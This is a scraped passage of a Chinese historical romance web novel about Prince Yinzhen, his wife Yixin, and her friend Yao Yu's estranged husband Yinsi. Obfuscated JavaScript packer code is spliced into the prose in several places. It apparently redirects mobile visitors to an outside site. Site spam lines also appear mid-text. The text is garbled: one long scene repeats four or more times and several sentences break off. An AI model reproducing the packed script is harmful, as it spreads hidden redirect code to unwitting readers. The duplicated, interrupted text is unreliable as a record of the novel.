胤禛将她抱到怀里亲了亲,目光沉沉看着臂弯里的人儿,许诺道:“好,我知道你是认真的,不会再瞒着你了。” 她看似绵软没脾气,原则底线问题最是刚烈果决。 仪欣从他的怀里钻出来,接过胤禛手里的一摞信纸,欣赏一下,感慨道:“王爷,我的字可真漂亮。” 胤禛闷闷笑,忍不住低声道:“那你还真是敝帚自珍。” 仪欣不高兴,仰头幽怨眼巴巴看着他,赶紧跟她道歉,她的字才不是破扫帚! 胤禛眸色深深,低头吻了上去,怎么这么可爱呢?写着小狗爬的字,处处骄傲自信,跟花孔雀似的。 “唔…不许亲!” “亲一会儿,听话。” 仪欣往后面仰腰,想退出他的怀里,胤禛手臂拦住她的腰,另一只手放在她的脑后,慢条斯理一下下啄吻。 仪欣慢慢软和下来,生着闷气搂住他的脖颈,先亲完再算账。 难舍难分,干柴烈火。 仪欣觉得胤禛好香,像是盛开的虞美人,勾着她折下最漂亮的一枝。 胤禛也有些口干舌燥,感受着她慢慢爬到了他的身上,好了,他不敢动了。 “接着…看信吧。” “嗯。” 仪欣又恋恋不舍爬下去。 信中。 她说,她第一眼见她就觉得欢喜,又很紧张,故而见到 听说看这本书的人都是很幸运的,分享后你的运气会更棒 傅文的时候磕磕巴巴问哥哥们有没有用膳。 胤禛呼吸变得很轻矜贵傲慢捻了捻佛珠忍不住不亲她“想不到仪欣这么有眼光。” 仪欣骄傲扬起脑袋。 胤禛和仪欣依偎在一起看着仪欣那几日心理的剖白和她回忆里的成亲生活。 仪欣羞恼过后还会主动跟他解释她是怎么想的。 她觉得有什么事情就要大大方方说开故而纠结一日还是给他写信。 胤禛心中温软自枕下拿出一张纸递给仪欣轻声道:“这是回信。” 仪欣蹙眉嘟囔道:“怎么才薄薄一张纸呢?” 胤禛笑“快看。” 她接过去晃了晃展开胤禛的字惊鸿跳虎放达不羁。 信很简单。 只有短短十个字。 ——吾爱吾妻此生再无二人。 下面是爱新觉罗胤禛的署名和一板一眼盖上的私印。 跟上奏章写折子的规格一般无二。 仪欣美滋滋折上展开又看了看胤禛垂眸看着她欢喜也缓缓弯唇。 不过是心照不宣的事情哪里就让她这么高兴呢? 仪欣骄矜道:“王爷我要把你的这件墨宝装裱起来。” 胤禛一噎轻咳道:“可以但是不能到处挂着。” 仪欣连连点点头轻声说:“我们刚成亲时我觉得你有个侍妾格格什么的都没关系现在早就不行了你只能属于我。” 胤禛亲了亲她的发顶喉结轻滚“嗯 他灵魂的塑形很大程度已抵达尾声他如今情绪冷静内核稳定拥有足够处理问题的能力意味着他可以对自己的任何决定负责。 那些他生命里曾有的觉醒和断裂化作无法捕捉的雪花与流云渐渐融入了他厚重的灵魂化作可靠的肃穆与秩序。 仪欣挣扎着起身亲自解落床幔又吹灭烛火。 胤禛坐起身来等着把她抱到怀里不让她踉跄摸黑摔倒。 仪欣摸一把胤禛的腰小声说:“王爷我刚刚想了想如果你要那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就像,她的二嫂宋苏旻,在二哥出征前,所有人都劝她为二哥留一个嫡子,所以她成亲两个月便有了身孕,成亲半年后,二哥远赴边疆,二嫂一人留守京城怀孕生子,将孩子拉扯到四岁才能放心去寻二哥。 当所有人皆是如此时,胤禛说,没有人配让她剥夺她的爱恨喜恶。 她的夫君不能,她的孩子也不能。 她就是她。 第166章姚虞回京。 胤禛任由她思考。 仪欣咽下喉咙里的酸水,轻声说:“我明白…” 胤禛摸摸她的脑袋,夸奖道:“嗯,你是最聪明的小孩子。” 他不止是她的夫君,还是她的师长,他不觉得禁锢蒙蔽她只能围绕他活着是优越的事情,他最大的慷慨都给了富察仪欣。 * 早春天亮的晚,胤禛上朝的时辰还是黑咕隆咚的。 胤禛一袭墨蓝色的**袍朝服,饰有四团五爪金龙,前后正龙、两肩行龙,庄肃沉默端坐在马车里。 他的膝头伏着一团粉润润的身子,仍在酣眠。 半晌。 仪欣懵懵然,梳着最普通的一字头,穿着粉色旗装,像个小丫鬟。 她揉了揉坐起身来,又蹭蹭道:“王爷,抱抱。” “不能抱。”胤禛无奈将她按回膝头,“脂粉蹭到朝服上太明显。” “哦,好吧。” 仪欣安逸躺在他的膝头,小豆子躺在仪欣的脚下。 胤禛思索一会儿,语气淡淡道:“还是抱一下吧,省得你整日都想着。” 若是再心中委屈,就更不好了。 仪欣弯了弯眼睛,坐直身子热烈扑到他怀里,晕晕然亲一口他的耳朵,“王爷,你穿朝服真的好漂亮哇。” 小豆子:“喵~” 胤禛勾唇,歪了歪脑袋,薄唇轻轻蹭了蹭她的唇角,“好了,马上到了,本王放下你之后,先去上朝,若是有什么事,便让小良子去户部衙门。” “好~” 马车停在京城不起眼的一处宅院前。 胤禛扶着仪欣下了马车,又将大脸盘子肥猫塞到她的怀里。 “王爷,你快走吧!”仪欣抱着小豆子,朝胤禛欢快挥了挥手。 胤禛负手而立,淡淡道:“嗯,本王看着你进去。” 仪欣迫不及待见到姚虞,今晨她跟着胤禛起了个大早,她上次起这么早还是成亲呢。 姚虞如今身份敏感,若是想见她一面,最稳妥就是凌晨半夜。 刚进院门。 仪欣被一把薅过去,她惊呼一声,小豆子敏捷跳下去,要扑上去。 “姚虞姐姐!” 姚虞咯咯笑,“仪欣,好久不见。” “好久不见!我真想你,姐姐去哪玩了?什么时候到的京城?” 她也是今晨被王爷薅起来梳妆,才知道前两日说见个人,是姚虞回京了。 仪欣欢喜看着姚虞,她好似有些变黑了,气色却好许多,周身都是勃勃生机,像是边疆肆意奔跑的小马驹。 姚虞:“去了边疆,本来这个时节想去江南,但是…额娘去了,决定先回京城看看。” 仪欣:“姐姐节哀,我…我在吉安所看了良妃娘娘的遗体,仍是生前那般优雅温婉,想来是走得极其安详的。” 姚虞:“仪欣…我没有额娘了…” 说完,姚虞又苦涩摇摇头,久别重逢,提这么难过的事情做什么呢? 仪欣轻轻抱了抱姚虞。 * 午膳是姚虞亲自下厨的。 仪欣忙前忙后跟着打下手,有时候油烟大一点,她就在小厨房门口给姚虞摇旗呐喊。 总之不管帮不帮得上忙,她是不会放弃陪伴的。 姚虞看着仪欣,觉得小院都热闹不少,本来打算做四个菜,结果,抡圆了锅铲炒了八个菜还熬了茯苓山药粥。 饭菜上桌,仪欣左手扶碗,右手拿筷子,满眼崇拜看着姚虞。 仪欣:“姐姐,你好厉害,好香啊。” 姚虞给她夹一筷子鸡块:“快吃,多吃点。” 仪欣吃得不亦乐乎,频频惊叹好吃。 小豆子在饭桌下绕来绕去,姚虞看着它可爱,给它准备个小碟,用清水涮过几块肉,放在小碟里。 小豆子闷头吃饭,骨头咬得嘎嘣嘎嘣响,也是一副香甜美味的模样。 还抬头冲姚虞“喵喵”了两声。 姚虞惊叹,怎么小九捧场,连小九的狸奴也这么给面子? 不是说跟四爷吵架了吗,要不她先养几天小九,等哄好了再给四爷还回去。 姚虞试探问:“听说你和你的四爷吵架了?” 仪欣抬起头来,嚼嚼嚼咽下口中饭菜,漱口茶轻吐后,自然道:“现在没有,前几天就和好了。” 姚虞大惊:“这么快?!” 罢了,她是亲眼见识过两人闹别扭又瞬间哄好的,怕是连一句重话都舍不 得说。 她其实理解小九为什么很容易被哄好,因为小九永远有原谅别人的底气。 她没有了。 两个人一只猫,八菜一粥是用不完的。 姚虞出门在外,没从前那么讲究,将没动几口的两个菜端回小厨房,想着下顿还能再吃。 仪欣有样学样,将半蛊茯苓粥也小心翼翼端回小厨房。 仪欣:“姐姐,你在外面会不会很辛苦?” 姚虞:“还好,就是有时候有点孤单,我准备离开京城后买个小丫鬟,专门陪我聊天。” 仪欣:“那我今天陪姐姐聊天。” 一聊就聊到日落西山。 仪欣舍不得走,这处院落白日进出不太隐蔽,胤禛便退一步说入夜来接她。 姚虞也很高兴,张罗着给仪欣煮一锅豆花蹄膀汤。 蹄膀汤比较费时间,姚虞处理好后,小火慢煮了一个半时辰,直到辰时处才喝上汤。 仪欣看着姚虞会做好多新鲜的菜式,听着姚虞跟她说很多独特的经历,深深地为姚虞高兴。 又心疼她很辛苦,想早点让她彻底自由。 仪欣双手捧着一碗蹄膀汤,软声问:“姐姐,你缺不缺银两?再离开京城的话,要去哪里?” “我不缺银两,你放心,”姚虞微微蹙眉,“至于去哪里…大抵会去奉天看看。” 早春的夜像是山泉碎玉,纵使再浓亦能看出些许青蓝色。 胤禛提着小橘灯,在院落门外等仪欣。 仪欣抱着小豆子裹着斗篷戴着帷帽小心翼翼走出来。 胤禛将小橘灯递给仪欣,把大脸盘子肥猫接过来,一手抱着猫,胳膊揽着仪欣,将她扶上马车,冷不丁回头看向阴暗处某个角落。 他没有出声,上马车离开。 送走仪欣,姚虞看着剩下没喝完的大半锅汤,发愁得不知如何是好。 又剩这么多? 要不她也养个小猫小狗? “姚虞。”身后一道清晰而后哽咽暗哑的声音传来,像是落在青石板砖上的瓷器,破碎而又酸涩。 姚虞很平静,淡淡转身:“八爷?” 得说。 她其实理解小九为什么很容易被哄好,因为小九永远有原谅别人的底气。 她没有了。 两个人一只猫,八菜一粥是用不完的。 姚虞出门在外,没从前那么讲究,将没动几口的两个菜端回小厨房,想着下顿还能再吃。 仪欣有样学样,将半蛊茯苓粥也小心翼翼端回小厨房。 仪欣:“姐姐,你在外面会不会很辛苦?” 姚虞:“还好,就是有时候有点孤单,我准备离开京城后买个小丫鬟,专门陪我聊天。” 仪欣:“那我今天陪姐姐聊天。” 一聊就聊到日落西山。 仪欣舍不得走,这处院落白日进出不太隐蔽,胤禛便退一步说入夜来接她。 姚虞也很高兴,张罗着给仪欣煮一锅豆花蹄膀汤。 蹄膀汤比较费时间,姚虞处理好后,小火慢煮了一个半时辰,直到辰时处才喝上汤。 仪欣看着姚虞会做好多新鲜的菜式,听着姚虞跟她说很多独特的经历,深深地为姚虞高兴。 又心疼她很辛苦,想早点让她彻底自由。 仪欣双手捧着一碗蹄膀汤,软声问:“姐姐,你缺不缺银两?再离开京城的话,要去哪里?” “我不缺银两,你放心,”姚虞微微蹙眉,“至于去哪里…大抵会去奉天看看。” 早春的夜像是山泉碎玉,纵使再浓亦能看出些许青蓝色。 胤禛提着小橘灯,在院落门外等仪欣。 仪欣抱着小豆子裹着斗篷戴着帷帽小心翼翼走出来。 胤禛将小橘灯递给仪欣,把大脸盘子肥猫接过来,一手抱着猫,胳膊揽着仪欣,将她扶上马车,冷不丁回头看向阴暗处某个角落。 他没有出声,上马车离开。 送走仪欣,姚虞看着剩下没喝完的大半锅汤,发愁得不知如何是好。 又剩这么多? 要不她也养个小猫小狗? “姚虞。”身后一道清晰而后哽咽暗哑的声音传来,像是落在青石板砖上的瓷器,破碎而又酸涩。 姚虞很平静,淡淡转身:“八爷?” 得说。 她其实理解小九为什么很容易被哄好,因为小九永远有原谅别人的底气。 她没有了。 两个人一只猫,八菜一粥是用不完的。 姚虞出门在外,没从前那么讲究,将没动几口的两个菜端回小厨房,想着下顿还能再吃。 仪欣有样学样,将半蛊茯苓粥也小心翼翼端回小厨房。 仪欣:“姐姐,你在外面会不会很辛苦?” 姚虞:“还好,就是有时候有点孤单,我准备离开京城后买个小丫鬟,专门陪我聊天。” 仪欣:“那我今天陪姐姐聊天。” 一聊就聊到日落西山。 仪欣舍不得走,这处院落白日进出不太隐蔽,胤禛便退一步说入夜来接她。 姚虞也很高兴,张罗着给仪欣煮一锅豆花蹄膀汤。 蹄膀汤比较费时间,姚虞处理好后,小火慢煮了一个半时辰,直到辰时处才喝上汤。 仪欣看着姚虞会做好多新鲜的菜式,听着姚虞跟她说很多独特的经历,深深地为姚虞高兴。 又心疼她很辛苦,想早点让她彻底自由。 仪欣双手捧着一碗蹄膀汤,软声问:“姐姐,你缺不缺银两?再离开京城的话,要去哪里?” “我不缺银两,你放心,”姚虞微微蹙眉,“至于去哪里…大抵会去奉天看看。” 早春的夜像是山泉碎玉,纵使再浓亦能看出些许青蓝色。 胤禛提着小橘灯,在院落门外等仪欣。 仪欣抱着小豆子裹着斗篷戴着帷帽小心翼翼走出来。 胤禛将小橘灯递给仪欣,把大脸盘子肥猫接过来,一手抱着猫,胳膊揽着仪欣,将她扶上马车,冷不丁回头看向阴暗处某个角落。 他没有出声,上马车离开。 送走仪欣,姚虞看着剩下没喝完的大半锅汤,发愁得不知如何是好。 又剩这么多? 要不她也养个小猫小狗? “姚虞。”身后一道清晰而后哽咽暗哑的声音传来,像是落在青石板砖上的瓷器,破碎而又酸涩。 姚虞很平静,淡淡转身:“八爷?” 得说。 她其实理解小九为什么很容易被哄好,因为小九永远有原谅别人的底气。 她没有了。 两个人一只猫,八菜一粥是用不完的。 姚虞出门在外,没从前那么讲究,将没动几口的两个菜端回小厨房,想着下顿还能再吃。 仪欣有样学样,将半蛊茯苓粥也小心翼翼端回小厨房。 仪欣:“姐姐,你在外面会不会很辛苦?” 姚虞:“还好,就是有时候有点孤单,我准备离开京城后买个小丫鬟,专门陪我聊天。” 仪欣:“那我今天陪姐姐聊天。” 一聊就聊到日落西山。 仪欣舍不得走,这处院落白日进出不太隐蔽,胤禛便退一步说入夜来接她。 姚虞也很高兴,张罗着给仪欣煮一锅豆花蹄膀汤。 蹄膀汤比较费时间,姚虞处理好后,小火慢煮了一个半时辰,直到辰时处才喝上汤。 仪欣看着姚虞会做好多新鲜的菜式,听着姚虞跟她说很多独特的经历,深深地为姚虞高兴。 又心疼她很辛苦,想早点让她彻底自由。 仪欣双手捧着一碗蹄膀汤,软声问:“姐姐,你缺不缺银两?再离开京城的话,要去哪里?” “我不缺银两,你放心,”姚虞微微蹙眉,“至于去哪里…大抵会去奉天看看。” 早春的夜像是山泉碎玉,纵使再浓亦能看出些许青蓝色。 胤禛提着小橘灯,在院落门外等仪欣。 仪欣抱着小豆子裹着斗篷戴着帷帽小心翼翼走出来。 胤禛将小橘灯递给仪欣,把大脸盘子肥猫接过来,一手抱着猫,胳膊揽着仪欣,将她扶上马车,冷不丁回头看向阴暗处某个角落。 他没有出声,上马车离开。 送走仪欣,姚虞看着剩下没喝完的大半锅汤,发愁得不知如何是好。 又剩这么多? 要不她也养个小猫小狗? “姚虞。”身后一道清晰而后哽咽暗哑的声音传来,像是落在青石板砖上的瓷器,破碎而又酸涩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她其实理解小九为什么很容易被哄好,因为小九永远有原谅别人的底气。 她没有了。 两个人一只猫,八菜一粥是用不完的。 姚虞出门在外,没从前那么讲究,将没动几口的两个菜端回小厨房,想着下顿还能再吃。 仪欣有样学样,将半蛊茯苓粥也小心翼翼端回小厨房。 仪欣:“姐姐,你在外面会不会很辛苦?” 姚虞:“还好,就是有时候有点孤单,我准备离开京城后买个小丫鬟,专门陪我聊天。” 仪欣:“那我今天陪姐姐聊天。” 一聊就聊到日落西山。 仪欣舍不得走,这处院落白日进出不太隐蔽,胤禛便退一步说入夜来接她。 姚虞也很高兴,张罗着给仪欣煮一锅豆花蹄膀汤。 蹄膀汤比较费时间,姚虞处理好后,小火慢煮了一个半时辰,直到辰时处才喝上汤。 仪欣看着姚虞会做好多新鲜的菜式,听着姚虞跟她说很多独特的经历,深深地为姚虞高兴。 又心疼她很辛苦,想早点让她彻底自由。 仪欣双手捧着一碗蹄膀汤,软声问:“姐姐,你缺不缺银两?再离开京城的话,要去哪里?” “我不缺银两,你放心,”姚虞微微蹙眉,“至于去哪里…大抵会去奉天看看。” 早春的夜像是山泉碎玉,纵使再浓亦能看出些许青蓝色。 胤禛提着小橘灯,在院落门外等仪欣。 仪欣抱着小豆子裹着斗篷戴着帷帽小心翼翼走出来。 胤禛将小橘灯递给仪欣,把大脸盘子肥猫接过来,一手抱着猫,胳膊揽着仪欣,将她扶上马车,冷不丁回头看向阴暗处某个角落。 他没有出声,上马车离开。 送走仪欣,姚虞看着剩下没喝完的大半锅汤,发愁得不知如何是好。 又剩这么多? 要不她也养个小猫小狗? “姚虞。”身后一道清晰而后哽咽暗哑的声音传来,像是落在青石板砖上的瓷器,破碎而又酸涩。 姚虞很平静,淡淡转身:“八爷?” 得说。 她其实理解小九为什么很容易被哄好,因为小九永远有原谅别人的底气。 她没有了。 两个人一只猫,八菜一粥是用不完的。 姚虞出门在外,没从前那么讲究,将没动几口的两个菜端回小厨房,想着下顿还能再吃。 仪欣有样学样,将半蛊茯苓粥也小心翼翼端回小厨房。 仪欣:“姐姐,你在外面会不会很辛苦?” 姚虞:“还好,就是有时候有点孤单,我准备离开京城后买个小丫鬟,专门陪我聊天。” 仪欣:“那我今天陪姐姐聊天。” 一聊就聊到日落西山。 仪欣舍不得走,这处院落白日进出不太隐蔽,胤禛便退一步说入夜来接她。 姚虞也很高兴,张罗着给仪欣煮一锅豆花蹄膀汤。 蹄膀汤比较费时间,姚虞处理好后,小火慢煮了一个半时辰,直到辰时处才喝上汤。 仪欣看着姚虞会做好多新鲜的菜式,听着姚虞跟她说很多独特的经历,深深地为姚虞高兴。 又心疼她很辛苦,想早点让她彻底自由。 仪欣双手捧着一碗蹄膀汤,软声问:“姐姐,你缺不缺银两?再离开京城的话,要去哪里?” “我不缺银两,你放心,”姚虞微微蹙眉,“至于去哪里…大抵会去奉天看看。” 早春的夜像是山泉碎玉,纵使再浓亦能看出些许青蓝色。 胤禛提着小橘灯,在院落门外等仪欣。 仪欣抱着小豆子裹着斗篷戴着帷帽小心翼翼走出来。 胤禛将小橘灯递给仪欣,把大脸盘子肥猫接过来,一手抱着猫,胳膊揽着仪欣,将她扶上马车,冷不丁回头看向阴暗处某个角落。 他没有出声,上马车离开。 送走仪欣,姚虞看着剩下没喝完的大半锅汤,发愁得不知如何是好。 又剩这么多? 要不她也养个小猫小狗? “姚虞。”身后一道清晰而后哽咽暗哑的声音传来,像是落在青石板砖上的瓷器,破碎而又酸涩。 姚虞很平静,淡淡转身:“八爷?” 第167章 你别对我这么凶 姚虞一顿,心道,这男人怎么还是长得这么爽? 胤禩穿得花枝招展的,是她最喜欢的深紫色,周身气质儒雅温润,似乎是练习了许久的,像极了初见时的模样。 只是,又颇有些湿漉漉的无措感,贪婪又委屈看着她,红了眼眶,又垂下眼,反复几次,又小声叫了几次“姚虞…姚虞… 她好像瘦了。 姚虞退后两步:“八阿哥有什么事吗? 胤禩道:“我想看看你。 姚虞沉默一下,贴心转了一圈,“看完了?八爷回去吧。 半刻钟后。 胤禩已经开始心满意足吃剩菜剩饭了。 他垂眸看着面前一碗茯苓山药粥,有种不知所措的挫败感,明明从前每天早朝前都有温热的茯苓粥。 姚虞亲手做的饭。 还有一两道他也不曾吃过的菜式。 他闷头吃着,眼泪随着粥和残羹剩菜咽到喉咙里,他想多跟姚虞说几句话,但是约莫一开口就会掉眼泪,只能尽可能地细嚼慢咽,维持些许理智。 此中有真意,欲辨已忘言。 姚虞无言,看他吃得狼吞虎咽的,不知说什么好。 中午剩的两盘菜,还有半蛊茯苓粥,以及剩下的大半锅豆花蹄膀汤,也堪堪见底。 姚虞:. 胤禩矜贵放下玉箸,隐晦环顾四周,发现这个院落并不大,应该只是姚虞暂时用来歇脚的地方,这里也没有伺候她的丫鬟,她从前是十指不沾阳春水的。 这样想着,胤禩站起来沉默收拾碗筷,又低头问:“厨房在哪? 姚虞皱眉,解释道:“厨房没有别的剩饭了,别找了。 胤禩一梗,低头解释道:“不是,我.我去刷碗。 姚虞愣在原处,他去干啥? 不用姚虞提醒,胤禩端着碗筷找到厨房,打水笨拙地刷碗,站在原处思索怎么体面把锅也刷干净,姚虞倚着门框,抱胸欣赏富贵公子在锅碗瓢盆间胡乱忙活。 姚虞:“八爷不用屈尊在这里忙这些,你说要吃饭也吃了,该回就回去吧。 胤禩:“姚虞,跟我回去,好不好? 胤禩:“额娘临走前,跟我说了许多关于你的小事 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 我错过好多给我个机会弥补你好不好?” 姚虞低眉:“别跟我提额娘。” 胤禩用锦帕擦干净手拉住姚虞的手腕晃了晃“姚虞我.额娘让我不要找你或者等你回心转意不要逼迫你。” 姚虞想甩开他的手腕咬牙甩不开仔细看他的手还有些发抖但是握得紧紧的像是悬崖边上握住稻草的人。 “你到底想干什么?没完了是吗?胤禩你我之间非要撕破脸是吗?”姚虞吼道。 闻言胤禩把她拉到怀里埋头扎进姚虞的颈窝里哽咽着说“你别对我这么凶。” “.” 会吃剩饭会狗叫听不懂人话这不用养狗了烦都烦**。 姚虞挣脱不开胤禩的怀抱闭着眼淡淡道“胤禩别让我讨厌你。” 胤禩落荒而逃。 留下四万五千三百两银票。 * 姚虞差不多摸准了胤禩的行事 万事无碍后乔装打扮为仪欣的小丫鬟去妃园陵祭拜良妃。 正值杏花微雨姚虞低头为仪欣撑着油纸伞缓步往良妃墓前走。 妃园陵内葬着许多妃嫔良妃的遗体在静安庄殡宫安置一旬前日才下葬妃园陵。 远远间看到一抹月光白的倩影仪欣脚步一顿有些紧张轻声说:“姐姐前面似乎是九弟妹董鄂氏。” “没事。”姚虞其实也紧张。 狭路相逢。 董鄂氏显然也看到了仪欣款款上前几步抚髻温柔行礼“妾身给四嫂请安。” 仪欣亲自握住伞柄挡住姚虞的脸临危不惧弯唇客套道“许久不见九弟妹怎么今在这么不巧的地方遇上了?” 她们常年不走动关系很平淡。 董鄂氏脸上笑意未浅撑着伞轻声道:“妾身替八嫂来祭拜良妃娘娘。” 伞后姚虞一愣。 仪欣也愣住险些露怯亲切道“我也是好巧不知九弟妹方不方便留我一人于此跟娘娘单独说几句话呢?” 董鄂氏眸光微闪笑着说:“是四嫂请吧妾身来得早些已经祭拜完了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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胤禛不悦道:“让她进来,顺便给她准备些小零嘴。” 仪欣抱着小豆子,在檐下等着胤禛让她进去,她知道王爷今晨不愉快,可她和姚虞前日便约好,只是有些细雨,打点一次不容易,不值得再因她耽误姚虞祭拜良妃。 苏培盛笑着出来后,仪欣抱着小豆子快步进去,咬着下唇蔫蔫唤一句:“王爷.” “出去一趟,又到哪里受气了?” 第168章 发烧 “没受委屈。” 闻言胤禛慵懒抬眼看她谁知她小猫一般娇憨的模样闯入他眼睛里她的双眸湿漉漉地看着他浑身清清爽爽的却好像淋湿了雨。 胤禛合上奏章将佛珠摘了朝仪欣一伸胳膊“来。” 仪欣听话地挪到他身边把小豆子搁到桌案上胤禛搂着她的腰让她坐在自己的大腿上仪欣**以为常藏在他怀里。 “说说吧怎么兴致不高呢?” “因为.发烧了。”仪欣平静说。 她在马车上就有预感只是想着回来再说。 胤禛霎时晦暗难辨气血上涌去握她的手腕 他就知道她消停点准没好事。 “喵~”小豆子感觉到仪欣不舒服在桌案上走来走去喵喵叫着挣扎着想舔舔仪欣。 仪欣指尖凑近它弯唇恹恹逗弄着小豆子脑袋沉沉靠在胤禛怀里。 胤禛面色极差吩咐道:“把这只狸奴扔出去。” 仪欣缩回指尖面色烧得绯红咳喘着瘪瘪嘴道:“王爷为什么要扔它它明明很听话。” 胤禛淡淡垂眸扯了扯唇“是它很听话倒是不听话的这只本王不是自己抱着呢吗?” 不扔她的狸奴难不成还能把她扔出去吗? “主子犯错奴才受罚向来如此扔出去。”胤禛又冷声吩咐一遍。 小豆子:喵喵喵!!! 什么?它竟然不是尊贵的猫主子吗? 当即负责伺候小豆子的两个奴才低着头进来将豆爷妥善抱下去。 仪欣最后为小豆子争取一下吸了吸鼻尖“给它多喂两个小鱼干。” 小豆子:“喵喵喵~” 胤禛搂紧她贴紧怀里病怏怏的小猫仪欣弯了弯眼睛笑成小月牙反过来安慰胤禛说“我都不怎么难受应该就是小风寒。” 胤禛不耐烦抱紧她将一旁的大氅给她盖得严严实实的“本王现在很生气你别喵喵叫。” 仪欣:“." 哦好。 * 仪欣缠缠绵绵病了五日胤禛又不容置疑让她在府中休 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 养一旬。 近日多雨,又赶上换季,她最容易生病。 仪欣专心在府中练字查账,抱着小豆子在胤禛的书房里上蹿下跳,为非作歹,估计是给小豆子那天被赶出去报仇。 当然,她也没放弃孝敬康熙,酥阁新出的糕点,不管康熙爱不爱吃,她都会给康熙准备一份,让胤禛带进宫去。 这日,仪欣抱着一大捧淡紫色重瓣芍药,猫猫祟祟潜入胤禛书房。 她穿着葳蕤明艳的淡紫色,盈盈一握的腰间别着昨夜刚在胤禛那里抢来的玉佩,像是娇媚的花妖。 胤禛隔着楼花明纸窗,就看见一大堆芍药朝着他快速移动,他装看不见,低头勾唇笑,继续处理政事。 仪欣凑到他身边,把芍药花塞到他的怀里,胤禛这才抬眼看她。 胤禛:“又想出府?” 仪欣:“王爷你真是老谋料事如神。” 她真迫不及待要出去了,姚虞要被胤禩烦**,她要去拯救姚虞! 胤禛哂笑,拍了拍大腿,仪欣眼睛弯如新月,娇呼呼坐到他怀里。 “王爷最近好像格外忙。” “是,有些人白日不老实,本王需要替皇阿玛清理门户;偏偏还有人夜里不老实,本王又得腾出手来费心管教。” 仪欣瞄了一眼,磕巴道:“谁?谁夜里不老实了?” 胤禛哼笑,折下一支芍药花,打量着她明珠般璀璨漂亮的小脸,在她的满头珠翠的角落里艰难簪稳这支芍药花,随手拍一下她的屁股。 “好了,本王陪你出门,夜里不许撒娇闹人了。” “最近确实比较忙,过段时间好好陪你。” 马车上。 胤禛仍旧在处理奏折,近日康熙精力不济,有许多文书都交给胤禛和**等朝臣处理,胤禛每日盯着户部那边的差事,随之又处理康熙的奏章。 好在他做事端方,又严谨有秩序,应对得宜。 仪欣也不打扰,专心等着胤禛忙完,偶尔给他喂一块可口的小点心。 胤禛头也未抬,叮嘱一句,“十日后,端午宫宴,太子大概率会解除禁足,若是宫宴上有什么出乎意料的事情,不要慌乱,跟着本王, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429214|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要乱跑。” “嗯嗯嗯。” 仪欣霎时觉得很是刺激, 你的朋友正在书荒,快去帮帮他吧 她不觉得慌乱,总归王爷才是最聪明能干的,谁能算计得过他呢? “王爷,会发生什么事情呢?”仪欣暗戳戳摩拳擦掌,“是很出乎意料的大事吗?” 胤禛缓缓抬头,轻轻笑了,“太子将自尽于帝王銮驾前,算不算大事?” 仪欣眼睫一颤,震惊万分,“太子,不想活了吗?” 胤禛漫不经心点了点唇瓣,仪欣赶紧嘬了他一口。 “当然不是。” 胤禛挑眉朝仪欣勾勾手,仪欣极有眼色将小耳朵凑到他的唇边,胤禛声音低沉,含笑戏谑娓娓道来,仪欣小心脏砰砰跳,听完倒在他膝头不肯起来。 等会儿,她缓缓。 * 临近姚虞的小院,仪欣都没缓过来。 胤禛哭笑不得,正好还有奏章没批完,索性陪着她坐一会儿回神。 “王爷,拐角处,八爷刚过去,许是没见到咱们王府的马车。”苏培盛道。 仪欣打起精神,“不行,我得去看看。” 转而跳下马车。 庭院内。 姚虞神色很淡,“胤禩,你图什么?” “图你,图郭络罗姚虞。”胤禩道,“我可以放你离开,但是,你去哪里要告诉我一声,好不好?” 姚虞红唇微勾,故意讽刺道,“不好,因为我只是躲你,甚至除了你,我可以告诉任何人我在哪。” “别这么对我,姚姚,你还回来好不好,你捅我两刀解解气,好不好?” “我没有生气,”姚虞很确定道,“我只是不想跟你在一起了,仅此而已,不存在消气。” 胤禩缓缓蹲下,双手崩溃得轻搭在太阳穴上,低着头蜷缩着,大颗眼泪止不住落在青砖上,痛苦地低喘着。 完了,全完了,没有做那么多混账事,如果他也对她一见钟情,成亲后处处疼爱她,他和姚虞会不会不一样? 姚虞看到他落在地面上溅起的水珠,心里微微泛酸,缓缓闭上眼又后退一步。 第169章太子之谋(1) 胤禩感觉眼前一片发黑,脑海里乌隆隆的,他不禁呼吸一滞,被眼泪呛得咳嗽不止。 姚虞没好气道:“你这是干什么,赶紧起来! 胤禩仰着头垂着丹凤眼,拽住了姚虞的衣袖,无声掉眼泪。 姚虞甩袖就要走。 “姚虞,别这样对我,我真的会改的,我所有的一切都能解释。 “我给你用麝香,是因为发现了你转移到奉天的嫁妆,有了孩子你就不要我了,不能这样,姚虞… 胤禩半跪着扯着她的衣袖不撒手。 姚虞呵斥反问:“所以呢?所以呢?所以你有苦衷,我就要原谅你,八阿哥,这是什么道理? 胤禩闭了闭眼,十指紧扣缠上她的手:“姚虞,我补偿,我带了一副绝子汤药,你消消气好不好?我以后不会有孩子出生了,原谅我…原谅我… “我以后每天都会给你熬粥,每天给你磨墨陪你作画,我可以为你学下厨做菜,我也可以陪你去大江南北游玩,姚虞,给我一个机会,好不好? “如果我做不到的话,你再离开,好不好? 姚虞一怔,不知在想什么,就居高临下看着胤禩,胤禩已经开始在袖袋里翻找汤药包了。 